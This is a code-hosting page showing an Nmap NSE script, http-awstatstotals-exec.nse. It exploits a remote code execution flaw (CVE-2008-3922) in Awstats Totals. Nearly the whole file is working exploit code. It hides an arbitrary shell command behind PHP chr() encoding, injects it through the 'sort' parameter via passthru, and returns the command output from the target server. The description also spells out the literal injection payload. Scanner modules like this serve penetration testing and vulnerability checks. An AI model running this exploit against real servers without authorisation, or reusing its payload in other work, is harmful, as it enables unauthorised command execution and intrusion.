PageRenderTime 51ms CodeModel.GetById 23ms RepoModel.GetById 0ms app.codeStats 0ms

/scripts/http-awstatstotals-exec.nse

https://gitlab.com/g10h4ck/nmap-gsoc2015
Unknown | 136 lines | 117 code | 19 blank | 0 comment | 0 complexity | ff9195d46c60a2660edbf3b8b791ca51 MD5 | raw file
Possible License(s): BSD-3-Clause, GPL-2.0, Apache-2.0, LGPL-2.0, LGPL-2.1, MIT
  1. local http = require "http"
  2. local io = require "io"
  3. local nmap = require "nmap"
  4. local shortport = require "shortport"
  5. local stdnse = require "stdnse"
  6. local string = require "string"
  7. local table = require "table"
  8. description = [[
  9. Exploits a remote code execution vulnerability in Awstats Totals 1.0 up to 1.14
  10. and possibly other products based on it (CVE: 2008-3922).
  11. This vulnerability can be exploited through the GET variable <code>sort</code>.
  12. The script queries the web server with the command payload encoded using PHP's
  13. chr() function:
  14. <code>?sort={%24{passthru%28chr(117).chr(110).chr(97).chr(109).chr(101).chr(32).chr(45).chr(97)%29}}{%24{exit%28%29}}</code>
  15. Common paths for Awstats Total:
  16. * <code>/awstats/index.php</code>
  17. * <code>/awstatstotals/index.php</code>
  18. * <code>/awstats/awstatstotals.php</code>
  19. References:
  20. * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3922
  21. * http://www.exploit-db.com/exploits/17324/
  22. ]]
  23. ---
  24. -- @usage
  25. -- nmap -sV --script http-awstatstotals-exec.nse --script-args 'http-awstatstotals-exec.cmd="uname -a", http-awstatstotals-exec.uri=/awstats/index.php' <target>
  26. -- nmap -sV --script http-awstatstotals-exec.nse <target>
  27. --
  28. -- @output
  29. -- PORT STATE SERVICE REASON
  30. -- 80/tcp open http syn-ack
  31. -- | http-awstatstotals-exec.nse:
  32. -- |_Output for 'uname -a':Linux 2.4.19 #1 Son Apr 14 09:53:28 CEST 2002 i686 GNU/Linux
  33. --
  34. -- @args http-awstatstotals-exec.uri Awstats Totals URI including path. Default: /index.php
  35. -- @args http-awstatstotals-exec.cmd Command to execute. Default: whoami
  36. -- @args http-awstatstotals-exec.outfile Output file. If set it saves the output in this file.
  37. ---
  38. -- Other useful args when running this script:
  39. -- http.useragent - User Agent to use in GET request
  40. --
  41. author = "Paulino Calderon <calderon@websec.mx>"
  42. license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
  43. categories = {"vuln", "intrusive", "exploit"}
  44. portrule = shortport.http
  45. --default values
  46. local DEFAULT_CMD = "whoami"
  47. local DEFAULT_URI = "/index.php"
  48. ---
  49. --Writes string to file
  50. -- @param filename Filename to write
  51. -- @param content Content string
  52. -- @return boolean status
  53. -- @return string error
  54. --Taken from: hostmap.nse
  55. local function write_file(filename, contents)
  56. local f, err = io.open(filename, "w")
  57. if not f then
  58. return f, err
  59. end
  60. f:write(contents)
  61. f:close()
  62. return true
  63. end
  64. ---
  65. --Checks if Awstats Totals installation seems to be there
  66. -- @param host Host table
  67. -- @param port Port table
  68. -- @param path Path pointing to AWStats Totals
  69. -- @return true if awstats totals is found
  70. local function check_installation(host, port, path)
  71. local check_req = http.get(host, port, path)
  72. if not(http.response_contains(check_req, "AWStats")) then
  73. return false
  74. end
  75. return true
  76. end
  77. ---
  78. --MAIN
  79. ---
  80. action = function(host, port)
  81. local output = {}
  82. local uri = stdnse.get_script_args("http-awstatstotals-exec.uri") or DEFAULT_URI
  83. local cmd = stdnse.get_script_args("http-awstatstotals-exec.cmd") or DEFAULT_CMD
  84. local out = stdnse.get_script_args("http-awstatstotals-exec.outfile")
  85. --check for awstats signature
  86. local awstats_check = check_installation(host, port, uri)
  87. if not(awstats_check) then
  88. stdnse.debug1("This does not look like Awstats Totals. Quitting.")
  89. return
  90. end
  91. --Encode payload using PHP's chr()
  92. local encoded_payload = {}
  93. cmd:gsub(".", function(c) encoded_payload[#encoded_payload+1] = ("chr(%s)"):format(string.byte(c)) end)
  94. local stealth_payload = "?sort={%24{passthru%28"..table.concat(encoded_payload,'.').."%29}}{%24{exit%28%29}}"
  95. --set payload and send request
  96. local req = http.get(host, port, uri .. stealth_payload)
  97. if req.status and req.status == 200 then
  98. output[#output+1] = string.format("\nOutput for '%s':%s", cmd, req.body)
  99. --if out set, save output to file
  100. if out then
  101. local status, err = write_file(out, req.body)
  102. if status then
  103. output[#output+1] = string.format("Output saved to %s\n", out)
  104. else
  105. output[#output+1] = string.format("Error saving output to %s: %s\n", out, err)
  106. end
  107. end
  108. else
  109. if nmap.verbosity()>= 2 then
  110. output[#output+1] = "[Error] Request did not return 200. Make sure your URI value is correct. A WAF might be blocking your request"
  111. end
  112. end
  113. --output
  114. if #output>0 then
  115. return stdnse.strjoin("\n", output)
  116. end
  117. end